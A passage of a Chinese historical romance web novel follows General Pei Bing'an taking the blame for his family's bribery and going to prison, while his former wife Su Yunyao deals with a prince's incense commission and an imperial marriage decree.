“崔氏当家理事,你身为丈夫,可知她收受了外人多少厚礼?”
裴文仲低眉垂眼站在长兄一旁,闻言,冷冷一笑,面不改色地道:“大哥听谁说的?如月打理着府里的事,每天操心劳累,天不亮就要去花厅点卯应事,还要伺候母亲与祖母,她天天累的腰酸背痛,一个字儿的怨言都没有,旁人不知道,我这个当丈夫的都看在眼里,就算她做的不好,那没有功劳也有苦劳,是谁故意挑拨是非,在背后胡乱编排她?”
裴秉安垂眸,情绪难辨地看了几眼自己的庶弟。
裴文仲才能平平,既没有读书应试,也没有立军功,而是因兄长赫赫战功,荫封了一个户部六品主事的官职。
夫妻一体,崔氏收礼,他不可能不知道。
只是,他没想到的是,庶弟同时身兼丈夫、父亲与朝廷官员的身份,竟然巧舌如簧,颠倒黑白,与内宅妇人一样,贪财好利,不知轻重。
“再给你一次机会,实话实话。”裴秉安冷喝一声。
长兄气势威冷,裴文仲被吓了一跳,脸色霎时变白了。
“一一千两”
裴秉安冷冷看了他一眼。
顶着他锐利的视线,裴文仲害怕地咽了咽唾沫,小声道:“一一万多两。”
一万多两,受此巨额贿赂,裴府当治重罪!
裴秉安无力地闭了闭眼眸。
让庶弟离开后,盯着窗外浓黑一团的夜色,他负手伫立,眸底满是郁色。
他本以为,裴府上下和睦,众人一心,其实那不过是因为苏氏持家有道,一切井井有条,府中诸人安分守己。
而自她离开后,府中乌烟瘴气,若非她提醒,他还不知,府中竟已生出这种大祸事来!
他早已后悔与她和离,也深知,无人能够替代她在他心
中的位置。
可她,却再也不肯与他相见了。
第64章 第64章她与他渐行渐远。
林家通过珍宝坊送到裴府的金银玉石,合计万两有余。
害怕兄长的威势,裴文仲没敢隐瞒,可回到瑞香院,嫌他蠢笨无能透漏了出去,崔如月又气又恼,恨不得挠花他的脸。
“大哥问你什么,你就说什么,你就这么傻?”
喝退丫鬟仆妇,她抱出来只檀木箱子看了又看,里面放着一箱子金灿灿的足金元宝,沉甸甸足有五百两,光这样的箱子她就收了两个,除了这,还有数不清的金银玉饰。
“我倒是不想说,可大哥看样子知道了,拿出一副审我的架势来,我哪敢不说?”
这些金元宝,裴文仲也看得两眼发直。
他是个庶子,府里的爵位轮不到他继承,领了个户部六品的虚职,也没多少俸禄,大哥有高官厚禄,裴府也盛名在外,可这一切都与他无关。
只有这些金银之物,才实打实是他们两口子的东西。
想到大哥要他们把东西交出来,他就心疼得厉害,简直比要了他的命还难受。
崔如月滴溜溜转了转眼珠子,道:“你说,大哥让我们交出去,他想做什么?”
裴文仲直勾勾地盯着箱子,“那我哪能知道?”
崔如月嘴角一撇,低声道:“大哥总不会让我们把受贿的事认下,去官府认罪自首,让皇上发落降罪吧?”
裴文仲拧起眉头,沉默不语。
以他对大哥的了解,他秉性刚直,眼里容不得沙子,更不允许裴府受贿,八成真得会这样做。
他不吭声,崔如月却冷笑一声,狠狠咬牙戳了戳他的额角。
“你动动脑子,但凡不傻,都不会这样做!谁会知道裴府收了财物?只要我们不说,珍宝坊的掌柜更不会说!再者,大哥认罪自首,对裴府有什么好处?难不成大哥真想我们两口子被罚去监狱?我看,该不会是大哥知道我们收了外人的好处,心里不自在,他要回去,是想自己私吞了这些东西吧?”
裴文仲烦躁地挠了挠头。
成亲这些年,家里的一切大事小情,他都听崔氏的,但这一次,听到她这样的分析,他觉得她看错了大哥的为人。
“那你说,到底该怎么办?要不我们把东西都给大哥,任凭大哥处置?”
那些金银宝贝,崔如月一个子儿也不想交出去,想了半天,她脸色变了几变,咬牙说:“不管大哥怎么想,大不了把银子交给他,反正我们不能进监房!老太太最疼我,我明儿去找老太太,让老太太给我做主!”
翌日一早,裴秉安去桂香堂请安。
他声称军务繁忙,细算起来,已许多日子没回府了,老太太见了他,又想又怨。
自长孙媳离开裴府后,府里的仆妇丫鬟走了大半,连她身边最能干的丫鬟秋红也走了。
身边没个得力的丫鬟,前些日子她去菜园子摘菜不小心崴了脚,等了半天无人来扶,只好拄着拐杖艰难地挪回了屋,现下那崴伤的右脚还没好,且得养几个月呢。
“你不要总是扑在军务上,赶紧娶个媳妇进门才是正事。”
老太太叹气,稀疏的眉头拧了起来。
以前苏氏在府里时天天请安侍奉,本觉得不过是寻常之事,可她走了以后,身边没有了长孙媳伺候,竟哪哪都觉得不习惯起来。
若是苏氏还在,不说别的,她不会身边无人照应,以致扭伤了脚。
现在回想起来,若论模样性情,倒是没人赶得上她,不过是门第差了些,也算不上多大的毛病。
她甚至有些后悔,当初长孙与她和离,她没有拦着。
“苏氏她可再嫁了?”看着长孙消瘦苍白的脸庞,老太太心中疼惜,清了清嗓子问道。
太后去世不到一年,现在尚在国丧之中,侯爵之家不能嫁娶,可苏氏离开了裴府,她一个平民百姓,是可以再嫁的。
况且,不偏不倚地说,以她生得那副花容月貌,虽未必能嫁入裴家这样的高门贵地,但再嫁个富足之家的子弟,那肯定是绰绰有余的。
闻言,裴秉安沉郁的心底,涌出一股难以言喻的酸涩。
她现在是没有再嫁。
可也许不久,就会与那位徐大夫携手相伴,喜结连理。
她连多看他一眼都不肯。
从今往后,他既没有资格,也没有立场,再去打扰她的生活。
他只能伫立在原地,眼睁睁地看着她与他渐行渐远,越来越好,独留他一个人痛彻心扉,深夜难眠。
“苏氏已经离开,她的事与裴府没什么关系,祖母也不要再提起她了。”沉默许久,他艰涩开口。
老太太叹气点了点头。
正在这时,崔如月脸上挂着泪,一左一右拉扯着两个孩子,哭哭啼啼地走了进来。
“祖母,”仗着老太太偏疼,她往屋里一站,用帕子捂着脸哭了起来,“大哥昨晚叫了文仲过去审问,说是我们犯了错,我来这里认错,听凭大哥处罚!”
老太太看了看两个宝贝重孙,又看见她含泪的模样,顿时心疼起来。
“你大哥在这里,有什么事说开了就好,哭什么?”
隔着指缝,偷偷瞧了眼大哥沉冷的脸色,崔如月定了定神,如先前所计划的那样,抽噎着说:“我打理府中中馈大半年了,去别家府上做客,人家知道我是当家理事的,少不得给我几分脸面,与我说些好话。”
老太太把两个重孙搂在怀里,闻言点了点头。
裴家是伯爵门第,长孙是武官之首,裴家的人到哪里去,外人都得给几分薄面,这原是应该的。
“你说犯了错,到底是什么错处?”
崔如月吸了吸鼻子,往老太太跟前一跪,哭道:“祖母,我哪知道外面的人居心叵测!那次我去珍宝坊,不过是想挑些首饰,那铺子的掌柜便拉着我套近乎,一来二去就熟了,我与掌柜娘子玩了几回叶子牌,她输给了我好些东西,她一没求裴府办事,二没要裴府照应,我也就没多想,输给我的东西,我便都收下了。”
老太太脸色突然一变。
外人行贿的手段多样,这借着玩牌的名义输给牌家,若是数目少也就罢了,若是数目可观,以朝廷律法规定,一样是私受贿赂。
“她给了你多少东西?”
崔如月抹了抹眼泪,说:“两箱子金元宝,还有些玉石首饰。”
听见这话,老太太顾不得扭伤的脚,拄着拐棍子站了起来,气得提棍子就要朝她打去。
若非团团和满满扯住她的衣襟喊着曾祖母,老太太的拐棍子就当真落到了她身上。
老太太动了怒气,气得眼冒金星,大是大非面前,她没有老糊涂,分得清轻重。
“你真是不知死活,枉我疼你,这哪是收林家的银子,你不知其中深浅,这是要文仲的命啊!”
崔如月一听,慌得抱住老太太的腿,哭眼抹泪地说:“祖母,我愿把金银都交给大哥,这件事,只要大哥不说,谁能知道?团团满满还小,他们离不开爹娘啊!”
事关重大,痛骂了二孙媳几句,让她带着孩子先回去,老太太闷气堵在心口,不禁老泪纵横。
儿媳罗氏身体不好,长孙媳苏氏和离后,府里没有当家理事的,她本是高高兴兴让二孙媳打理这个家,没想到,她竟做出这等错事来!
收受贿赂,数额不菲,削官事小,只怕得受死罪!
“安儿,打断骨头连着筋,他们毕竟是你的兄弟和弟媳,总不能让他们丢了性命,依你看,这事该怎么办?”
方才崔氏哭天喊地,裴秉安一言未发,冷眼旁观。
这件事如何处理,他心中已有打算。
只是,凭着兄弟情分,他可以替庶弟与弟媳受这一次过,担上全责,但以后,他们需要自省自立,不能再闯祸生事了。
裴家祖宅
在齐县,家中尚有几十亩祭田,也有族中私塾,可供孩童入学启蒙。
“祖母,明日就让文仲与崔氏带着团团和满满回老家吧。”
事已至此,没有更好的法子,老太太心酸地掉着眼泪,半晌才说出话来:“安儿,那就苦了你了。”
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御书房中,八足盘龙香炉升起袅袅香雾,散发着浓郁的芬芳。
元德帝垂眸盯着龙案上的粮册,沉吟了许久。
“慎之,你是说,这军粮生霉,是林相的长子林启盛指使人以次充好,从中牟利?”
赵将军送来的粮册,记录着军粮从哪处州县粮仓运出,途经谁手,证据确凿,只需朝廷差人前去核实即可。
“回皇上,正是如此。”裴秉安沉声道。
闻言,元德帝突然偏过脸去,撕心裂肺得重咳起来。
他早过天命之年,龙目含威,身姿肃挺,鬓发却覆上了霜白。
自登基以来,夙兴夜寐,积劳成疾,近日又染了风寒迟迟未愈,龙颜已显疲态。
重咳声在御书房回荡许久,元德帝挥了挥手,裴秉安会意,上前将香炉熄灭。
天子近侍没在房内,他倒了盏热茶奉上。
喝了几口茶,元德帝的咳喘平息下来,眸光沉沉地看着自己最得意器重的臣子,良久未语。
慎之的表字,是他亲自为裴秉安取的。
六年前,他一战收服西金,边境安稳至今,大雍朝才得以休养生息,百姓也不再受战乱之苦。
惜才爱才,他把人召到京都,任金吾卫上将军,持金字令牌,可随时进出皇宫,商议军务。
只是,移目看向龙案上请罪的折子,元德帝靠在椅背上,龙颜不悦,默然不语。
裴府受贿,他如数归还贿银,自请削官去爵,受杖脊、流配之刑。
暂且按下此事不谈,元德帝咳嗽几声,道:“依你之见,军粮一案有谁来查合适?”
裴秉安拱手道:“臣与林相均牵涉其中,不便举荐,还请皇上定夺。”
话音刚落,秉笔太监进了御书房,道:“皇上,景王殿下来了。”
还没等元德帝开口,转眼间,景王萧祐已大步走了进来。
他是个闲散王爷,不领什么要紧差事,只管着宫里的尚香局,平时喜欢收集各处的香饼香料,供给宫中使用。
御书房里所用的香饼味道浓郁,近日元德帝龙体有恙,于病情不利,不便再用。
到了房里,先看了一眼熄灭的香炉,萧祐眉峰扬起,笑着道:“父皇,儿臣听说京城有一家叫凝香坊的香铺,铺子东家调的一手好香,尚香局做的香差强人意,要不我去凝香坊试试?”
听到凝香坊三个字,裴秉安薄唇悄然抿直,锐利的眼神落在了他的身上。
第65章 第65章打湿了他的白色袍袖。……
凝香坊来了位贵公子,身着玉白锦袍,发束金丝玉冠,身材颀长,凤眸深邃,鼻梁高挺,龙章凤姿,气度非凡。
只是来人看过坊中的几味香饼,自顾自摇了摇头,似乎有些不太满意的模样。
“你们东家在吗?”
东家在后院指点香匠们制作熏香,女伙计道:“公子稍等,我去通传一声。”
后院中,香匠们各司其职,有条不紊地炮制着灵白草。
这味香料来自西域,是苏荷香的重要原料之一,当初从西金商队中购得数百斤,足够香铺近一年所用了。
只是,灵白香料的炮制极其复杂,香匠们分工合作,花费数道工序,才能制出味道清幽绵长、绝无仅有的熏香来。
因苏家经营香料产业多年,娘亲最擅调制熏香,苏云瑶自小耳濡目染,深谙其中精髓,才能保证工序不会出错。
可是对外面的香铺来说,其中技艺根本闻所未闻,更别提模仿超越,这也是凝香坊名声在外,日进斗金,如一骑绝尘般将其他香铺甩在后面,而无需担心竞争对手的原因。
“东家,有个贵公子来买香饼,铺子里的熏香他好像没看上,还想要见您。”
苏云瑶拿起一块香饼,细细辨识着其中的桃花、荷花清香各占了几分,闻言,她思忖片刻,道:“既然没有相中的,就找个借口,先请他走吧。”
京中富贵人家多,出手阔绰得更不在少数,按理来说,这样的贵客,她应当接待才是,不过,香铺现在生意太忙,她分身乏术,没功夫单独为贵客调制熏香。
女伙计去传话,不久后,她去而复返,脸色还带了几分焦急与不知所措。
“东家,那公子不肯走,说他很有诚意想要见您,要在铺子里等您,直等到您什么时候有空见他,他才会离开。”
苏云瑶微微扬起秀眉。
对方既然这样说,她倒不好避而不见了。
香铺里,萧祐耐心地等了一刻钟后,终于看到,铺门处走进来一个身姿纤细,花容月貌的年轻姑娘。
只是来人还没走到他的面前,他盯着她愣了片刻,忽然笑道:“没想到,凝香坊的东家,原来是苏娘子!”
数月之前,护国寺见她于马背上挽弓射箭,飒爽风姿至今在他脑海中萦绕,他问过郡主表妹她的来历,单知她是裴将军的前妻,没曾想,她还是凝香坊的东家!
苏云瑶顿住脚步,惊讶地看了他一会儿。
男子长身玉立,风度翩翩,生了双深邃乌黑的凤眸,眼尾一颗小小的红痣,看上去有些面熟。
神思恍然片刻,眼前的脸庞,逐渐与记忆中仅见过一面的那个年少稚气的孩童重合,苏云瑶猛地回过神来,悄然掩住腕上的绿玉镯,福身行了个礼。
“不知景王殿下大驾光临,有失远迎,还请恕罪。”
萧祐纳罕,抬手指了指自己:“你见过本王,记得本王?”
苏云瑶看着他,不置可否地笑了笑。
她跟娘亲来京都时,曾见过他一次,只是一晃多年过去,他不记得她了。
旧事不必再提,娘亲也不想她与他们相认。
她随便找了个借口敷衍过去,“殿下去裴府时,民女曾远远看见过殿下。”
裴府老太太过大寿时,景王曾亲自到裴府贺过寿,那时她还没与裴秉安和离,她这样说,景王应该不会觉得意外。
听到她的话,萧祐若有所思地扬起长眉,细细回想了一会儿,没曾想起什么来,便只好作罢。
“苏娘子,今日我来,是有事找你相商,”既然相熟,他便开门见山地说出来意,“听表妹说,你调香的手艺了得,本王急需一味与众不同的熏香,你能不能帮本王一二?”
闻言,苏云瑶下意识抿紧了唇。
景王殿下口中的表妹,定然是永嘉郡主了。
自她烧热生病以后,徐长霖去了长公主府,她已有将近一个月没见过他,也不知郡主病情怎样了。
请景王到了雅室谈事,苏云瑶思忖许久,终于忍不住道:“殿下,听说郡主她身体有恙,不知现在可大好了?”
萧祐拂袖在椅子上坐下,闻言并不意外。
那日她在护国寺与阿斯王子比试,永嘉与陆姑娘便都去给她加油鼓劲,想必她们相识,所以她才关心过问。
“前些日子是生了回病,多亏照料她的徐大夫医术高明,经过这一场烧热,她原来的肺症竟痊愈了,想来不日便能出府了。”
永嘉郡主病愈是好事,欣慰高兴之后,苏云瑶垂下长睫,情绪难辨地笑了笑。
“殿下找我,要调制什么熏香?”
凝神回想着十多年前父皇最喜欢的熏香,萧祐长指轻轻叩着桌案,说:“有一种香,有沉香、檀香的醇厚,闻起来却像清淡的紫薇花,其中似乎混合着微甜的梨汁,还有一丝苦辣的味道,这种熏香不仅可以治疗偶尔发作的头疾,还可以怡情养性,安神助眠——苏娘子可会调制这种香?”
闻言,苏云瑶忽地一愣,刚刚端起的茶盏蓦然从手中滑落。
茶盏落在桌案上,泼溅出去的褐色茶水,打湿了萧祐的白色袍袖。
第66章 第66章你能不能去见见他?……
温热的茶水忽然泼洒出来,褐色洇湿了玉白色的袍袖。
若是旁人,只怕早已皱起了眉头,萧祐却淡定如常,只是扬起衣袖看了看,唇畔依然挂着笑意。
“怎么,我提的问题让苏娘子为难了,为此不惜泼了本王一盏茶,好让本王知难而退?”
他语调轻松诙谐,苏云瑶定了定神,心底的尴尬与紧张悄然化为无形。
“殿下说笑了,是我不小心,还请殿下不要怪罪。”
她踌躇了片刻,想请他换下打湿的衣袍,只是他带着两个侍从前来,两人候在外面护卫,并没有携带替换的衣物。
萧祐毫不在意地挽起半边衣袖,微笑道:“无事,本王只关心,苏娘子能否帮本王的忙?”
苏云瑶心有顾虑,不由迟疑了一会儿。
景王提到的香,她再熟悉不过,可那味香,她却不能轻易示之于人。
“殿下是自用,还是”
萧祐坦诚地道:“实不相瞒,并非本王自用。父皇喜欢用这味香,只是尚香局调制出来的香,总是不合父皇心意。本王到你这里来,也是为了碰一碰运气,若是你觉得难做就算了,本王不会为难你。”
他这样说,苏云瑶几乎没有犹豫,便立刻下定了决心。
俗话说,学成文武艺,货与帝王家,开香铺做生意也是如此,若是其他铺子能为皇宫甚至皇帝调制香料,只怕求之不得,可于她来说,却全然不是如此。
如果没有遇到难处,她只想低调地开铺子赚银子,不想与其他是非扯上干系。
但景王亲自到此,她若是试都不试便直言拒绝,难免拂了对方的面子。
她轻轻拧起秀眉,温声道:“殿下所提的香,民女略听说过一二,要不我尽力试试,如果力不能及,还请殿下不要责怪。”
她既然愿意一试,萧祐便觉得没白来一趟。
“那就麻烦苏娘子了,那本王过几日后再来。”
送走景王殿下,苏云瑶伫立在二楼的雅室窗前,居高临下地凝视着长街上川流不息的人群,心事重重。
过了许久,青桔提着串糖葫芦从外面回来,兴高采烈地推开房门时,看到小姐竟还在莫名发呆。
“小姐,你在看什么?”她咬了大大一口酸酸甜甜的糖葫芦,满脸疑惑。
听到她的声音,苏云瑶恍然回过神来。
“没什么,”她想了想,轻声道,“去给我把八珍蜜枣丸取过来。”
青桔点了点头,去旁边抽屉里找出小姐惯常盛放蜜枣丸的瓷瓶来。
只是,她随手晃了几晃,那瓷瓶里竟空空如也,一颗蜜枣丸都没有了。
“小姐,徐公子怎么这么久没来啦?蜜枣丸吃完了,我去问他要去。”
话音刚落,还没等苏云瑶回过神来,咚咚的脚步声响起,转眼间,青桔已向外跑去。
可还没走出门,她便立刻叫住了她。
“青桔,不要去了,”苏云瑶轻抿着唇,眸光遥遥望向长街的尽头,无声叹了口气,“徐神医如果有闲暇的话,会来的。”
城南坊的徐宅,正门大开,长公主萧瑜亲自到访,徐夫人盛装接待,脸上挂着灿然笑意,亲手奉上热茶。
“殿下请用茶,雪顶茶,我记得你爱喝的。”
“你我相识多年,何必如此客气?打发丫鬟上茶就是了,”长公主微笑啜了一口茶,想到女儿孱弱的身体终于好转,眼圈忽然有些泛红,“我这次来,是要谢你的,若不是这些年长霖悉心帮永嘉调理身体,我都没想到,她能好全。”
徐夫人忙道:“当初要不是殿下仗义执言,保全了徐家,我们哪里还有今日?殿下对徐家大恩大德,我们无以为报,这是他应该做的。”
说起过往,长公主不由叹了口气。
当初徐家女儿进宫成为皇兄妃子,颇得宠爱,若非受宫人蛊惑谋害太子,徐家也不会受牵连。
思及日前女儿对她所说的话,长公主垂眸沉吟了片刻。
虽说徐家如今无官无职,但徐长霖一表人才,医术非凡,女儿对他喜欢已久,她这个当娘的,不在乎什么门第,只希望女儿能够平安健康,开开心心。
她今天亲自来徐府,就是想将两个孩子的婚事定下。
“长霖可有意中人?”
闻言,徐夫人愣了一会儿,悄然攥紧了手中的绣帕。
儿子自然是有意中人的,就是那个苏氏,但她不过是一介商户,无论如何,她是不会让儿子娶她的。
“他终日扑在医术上,哪有什么意中人?”徐夫人面不改色地说。
听她这样说,长公主便放心了,矜持地笑着道:“永嘉年纪不小了,因为身子病弱,耽误了定亲,现在她大好了,这定亲成婚的事也该提上日程了。近来,我看她对谁都客客气气的,唯独对长霖另眼相看,有几分亲近。”
闻言,徐夫人又惊又喜,霍然站了起来。
她是想儿子娶个官宦之家的女儿,可没想到,长公主愿意将郡主下嫁到徐家。
像是一只馅饼砸到头上,这种意外之喜她高兴还来不及,哪里还顾得上儿子的想法。
“可不是呢,长霖也是这样,我早看出来了,他从来不看别的姑娘一眼,每日只挂念着郡主。”徐夫人喜不自胜,“若是殿下看得起徐家,我就斗胆相求,请殿下将郡主许给长霖。”
长公主沉吟几息,还有些疑虑:“这事可需再问问长霖的意思,你能否做得了他的主?”
“婚姻大事,父母之命,媒妁之言,他岂有不听的?”徐夫人笑着连声保证,“殿下放心吧,若是能够与郡主成婚,他高兴还来不及呢。”
翌日,长公主亲自去皇宫与皇帝兄长说了这件事,为女儿请了一道赐婚的圣旨。
圣旨送到徐家时,有小厮飞跑着去了保和堂送信。
彼时徐长霖刚忙完了医堂积累多日的病案,亲手调制了一瓶蜜枣丸,正轻快地哼着曲儿,打算去一趟苏宅。
“公子,大喜,宫中下了圣旨给您与郡主赐婚!”
听小厮说清原委,徐长霖瞠目结舌,大惊失色。
一路慌张地拍马回府后,看到端正供在案上的圣旨,他面白如纸地捂住胸膛,只觉头晕目眩,急火攻心,还没开口,一口鲜血哇地吐了出来。
幸亏一旁的小厮眼疾手快,七手八脚地搀着了他,才不至于他直挺挺栽倒下去时,磕的头破血流。
再清醒过来,已到了三日后。
听到他窸窣醒来的动静,苏云瑶微微勾起唇角,轻声唤他:“小叔?”
虚弱地睁开眼睛,面前姣美的脸庞逐渐清晰起来,徐长霖目不转睛地看着她,艰难地动了动唇,无声吐出两个字:“瑶瑶。”
苏云瑶垂眸看了他一会儿,笑道:“整日给别人瞧病,自己倒病倒了,还好意思说自己是大夫吗?”
徐长霖喃喃道:“医者不自医。”
房里没有旁人,陪在他身边的,只有苏云瑶。
扶着他起来喝过药,想到答应过徐夫人的话,她勾起唇角,风轻云淡地说:“小叔,今日我来,一是为了恭喜你与郡主殿下的婚事,二来,是要告诉你,我打算与裴将军和好了。”
徐长霖霎时如遭雷击,惊愕地看着她:“为什么,你不是已经与他和离了吗?”
苏云瑶悄然别过脸去,避开他的视线。
“那是我们之间有些误会,误会说开,自然便能和好。一日夫妻百日恩,夫妻三年,我们的情分怎么会说断就断呢?”
谎言也许以后会被戳破,但为了他尽快好起来,这是她能为他做的最后一件事,也是他昏迷这三日,徐夫人泪水涟涟地求着她时,她无奈之下的下策。
圣旨已下,他不能抗旨不遵。
他是个孝顺的人,总有一天,会原谅徐夫人的自作主张。
再者,永嘉郡主是个好姑娘,既然已经定亲,他也不能辜负了对方。
情爱虽然重要,但也并不那么重要,人这一生,除了生死,再大的坎儿也终能过去,再难的事也终会解决。
离开徐家时,徐夫人备了厚礼,亲自送她出门。
“苏姑
娘,对不住,这次多亏了你,若不是你,我都不知道该怎么办……”
苏云瑶默然深吸口气,没有理会她,径自登上了马车。
有些人,她此生都不想多看一眼。
暮色四合时,回到苏宅,她让厨娘烧了满满一桌子菜,备了一坛桃花酿。
第一盏酒刚入喉时,寂静幽深的院外,突然响起了拍门声。
来人是裴淑娴,青桔开了门,请她进来。
“你怎么来了?可是要找我家小姐?”
裴淑娴脸色灰白,重重点头:“苏姐姐在家吗?”
青桔闷闷不乐地点了点头。
小姐是在家,只是从徐家回来后,心情看上去不怎么好,还在一个人喝闷酒。
“你跟我来吧。”
青桔在前面引路,裴淑娴捏着团扇,慌慌张张一路往正房走去。
到了房里,看到正在自斟自饮的苏云瑶,她再也忍不住,用团扇捂着脸,突然放声哭了出来。
“苏姐姐,我大哥进了监房,受了严重的杖刑,不知道有没有性命之忧,你能不能去见见他?”
第67章 第67章去见他。
喝了一盏桃花酿,已有了五分醉意。
愣愣看了会儿哭得满脸泪痕的裴淑娴,苏云瑶用力揉了揉额角,方才清醒过来。
“淑娴,别哭,你刚才说了什么?”
她不问还好,刚一开口,裴淑娴便忍不住放声哭着搂住她的肩头,道:“苏姐姐,大哥被囚在监房,还受了重刑,我们想见他一面也见不到,不知道他现在到底怎么样了。”
闻言,苏云瑶忙轻拍着她的脊背安抚着,道:“别急,你告诉我到底是怎么回事。”
裴淑娴擦了擦眼泪,抽抽噎噎地说:“二哥二嫂贪了上万两银子,大哥去认罪自首,被重罚了一百棍”
听她说完来龙去脉,苏云瑶蹙起秀眉,略定了定神。
崔如月贪林家银子的事,她早已知晓,只是没想到她竟然敢贪这么多,而以裴秉安的性情,为了保全兄弟一家,以一己之力承担全责,倒是不让人意外。
依当朝律法规定,臣子受贿数额巨大,应处于极刑,但裴秉安主动认罪自首,归还贪银,想来会被罢官削爵,再严重些,兴许会被发配流放,应该不至于有性命之忧。
只是如今他关在监房之中,裴家的人见不到他,难免着急。
苏云瑶默默思忖了会儿。
裴家的情形,她再清楚不过,家中女眷居多,老太太与罗夫人一个年纪大了,一个身体不好,遇事只有着急生病的份儿,不添乱就不错了,裴宝绍虽是男儿,还年少不顶事,淑娴年纪更小,也做不了什么。
裴家人难与他见面,但他身为上将军,手下部将众多,雷、吴两位副将想要进监房探望上司,总该有办法的。
“雷将军可曾去见过他?”
裴淑娴摇了摇头,泪眼朦胧地说:“去过了,但大哥不肯见他们。”
刚说完,她又忍不住心酸地抹起了眼泪:“大哥谁都不肯见,只是让狱卒带话出来,说他一切安好,可他生生挨了一百棍,怎么能安好呢?他那分明是怕我们担心,才说的哄人的话。苏姐姐,我想来想去,实在没办法了,只有请你去看一看大哥,我想,别人他都不想见,也许他愿意见你的。”
苏云瑶纠结地咬住了唇。
她与裴秉安已经和离,也不想再见到他,他是死是活,是好是坏,与她根本没有什么关系。
她没有这个义务去代裴家人见他。
可刚要拒绝,看到裴淑娴哭得红肿的双眼,话到嘴边,她又默默咽了回去。
罢了,就算是个素不相识的陌生人,想要请她出手相助一二,她也不会袖手旁观的。
不过,丑话需得说在前头,她去见他一面,只是去看看他是否安然无恙,至于其他的,她不会再多管闲事的。
当朝犯案官员关押的台狱,坐落在京都的东北角,清晨天色刚亮,一辆马车便停在了狱所的外面。
苏云瑶与裴淑娴一前一后下了马车,到了狱所之中,两人说明来意,听到她们要来探望得是裴将军,那狱卒恭敬地拱了拱手,道:“请二位稍等,我先去通传一声。”
等待的时间,裴淑娴紧张地捏着团扇,不断往通往狱所的方向张望着。
过了两刻钟,那狱卒去而复返,迈着大步走过来,一拱手道:“裴将军说,请苏娘子进去相见。”
听到这话,裴淑娴终于轻快地舒了口气,只要大哥愿意见苏姐姐,她们就没白来一趟。
“苏姐姐,麻烦你了。”
接过她手里的食盒与装了衣裳用物的包裹,苏云瑶看了她几眼,想说什么,欲言又止,只是温声道:“你在外面等我吧。”
狱所重地,通往地下监房的道路,暗无天日,阴森幽冷,只有借着石壁上模糊的灯烛,才能勉强看清里面的情形。
缓步往里走着,浓烈的腐烂难闻的臭味迎面扑来,越来越重,苏云瑶突然顿住了脚步。
她的嗅觉本就灵敏,这种污秽的味道,让她有些难以忍受,加之晨起时没有用饭,此时肠胃因恶心不断翻腾着,眩晕的感觉突然袭来,她扶住一旁的柱子定了定神,才没有晕倒过去。
“苏娘子,将军的监房还没到,在最里面。”狱卒提着灯笼走在前面,看她停了下来,便大声提醒了一句。
只是话音落下,原本安静无声的监房中,听到有女子进来,像是一瓢热油浇进了冷水中,四面透风、只有几块稀疏木板做门的监房中,瑟缩在角落处的狱犯们,不约而同地挪到了门边。
沉重的脚镣手铐声在地下狭窄幽暗的空间中回荡起来,刺耳无比。
看到那些不知犯了什么案子的狱犯,关在阴暗的监房中,个个蓬头垢面,衣衫褴褛的模样,苏云瑶闭了闭眼睛,只觉冷汗莫名从身上冒了出来。
饶是已与裴秉安和离,与他再没什么夫妻情分,她也实在难以接受,他在狱中也许会变成这个样子。
本来并不算长的路,一步一步走到尽头,看到那四面皆是石墙,一扇黑色铁门默然矗立的监房时,她本来镇定如常的脸色,已惨白如纸。
咔哒两声,铜钥打开了铁门,狱卒道:“苏娘子,您与将军只有两刻钟的会面时间,两刻钟后,我会再过来。”
苏云瑶揉了揉隐隐作痛的额角,点头道:“多谢。”
看着只开了一条门缝的铁门,她默默深吸一口气,无声推门走了进去。
监房中,裴秉安如往常般身姿肃挺地坐在案前,淡然无波的视线落在进来的人身上一瞬,便很快移向了别处。
“你来做什么?”他面无表情地说。
还没开口,头痛眩晕的感觉再次如波涛般汹涌袭来。
苏云瑶脸色煞白地看了他一眼,忽然无力地闭上眼睛,身子软绵绵地倒了下去。
第68章 第68章为了让你尽快好起来。……
头晕目眩,天旋地转,身体不受控制地倒下去时,意识就像断了线的风筝飘离了思绪,头脑几乎只剩一片空白。
糟糕,要摔倒了,苏云瑶只有这一个念头。
然而,下一刻,预料当中的摔痛没有袭来,腰身却被一双有力的长臂稳稳地揽进了怀中。
“云瑶,你怎么样?”看着眼前的人脸色苍白如纸,裴秉安一向沉冷无波的眸底,满是惊慌与担忧。
手脚冰冷,浑身无力,苏云瑶艰难地动了动唇,声音微弱地吐出几个字:“头晕,难受”
明白她犯了眩晕的毛病,裴秉安立即将外袍脱下,披在她的肩头,一把将她打横抱了起来。
身上暖和了一些,也不再那么难受,苏云瑶再睁开双眸时,已半靠在监房中冷硬的床榻上歇息着。
监房中只有一壶冷茶,没有什么吃食,不过她带了食盒进来,里面装了几样小菜与一碗红豆糯米粥,尚还
发烫,裴秉安一只大手中端着红豆粥,剑眉几乎锁成了一团。
看到她脸色苍白地醒来,他立刻舀了一勺粥送到她唇边,沉声道:“快点吃下。”
苏云瑶无力地眨了眨眼睛,不自在地别过了脸。
她是代淑娴来探望他是否安然无恙的,谁料到自己竟在这个不合时宜的时间和地点犯了眩晕的毛病,实在让她尴尬烦闷。
“不用。”她定了定神开口,只是声音虚弱得似乎风一吹就散了,“我我等会出去就好了。”
闻言,裴秉安沉默片刻,将粥碗放到了一旁。
他负手起身,长指悄然握紧,沉沉看着她催促道:“是淑娴请你来看我的?我很好,没有事,告诉她不必担心,你快走吧。”
苏云瑶轻轻点了点头。
他的衣裳干净整洁,脊背依然笔直肃挺,看上去应该没什么大碍。
身上还裹着他的外袍,她费劲地抬起手臂,将他的袍子脱下放到一边。
不过,光是这个再简单不过的动作,她做完之后,白皙的额角已渗出一层冷汗。
默然深吸一口气,她撑着床榻起身时,只觉眼前一黑,又无力地坐回了原处。
这次,那碗红豆糯米粥送到唇边时,裴秉安脸色沉冷如霜,几乎是用命令的语气说:“莫要耽误病情,快点吃下。”
顿了顿,意识到自己态度有些冷硬,他神色和缓了几分,低声道:“这里只有你我二人,让你用饭,只是怕你病情严重,你不必多想。”
晨起没有用饭,加之监房的环境阴森暗冷,双重刺激下,她才忽然犯了眩晕之症,此时也没有更好的办法,苏云瑶只好硬着头皮,慢慢吃下他一勺勺送到她唇畔的热粥。
“八珍蜜枣丸呢?你不是一向随身携带的吗?”用了半碗粥,看她惨白的脸色好转了不少,气息也平稳起来,裴秉安沉声问道。
苏云瑶微微一愣,黯然垂下了长睫。
沉默许久,她轻轻吸了吸鼻子,掩去眸底的酸涩,平静地说:“没有了。”
裴秉安若有所思地看了她一眼。
她不愿开口多说,他便知趣得不再追问。
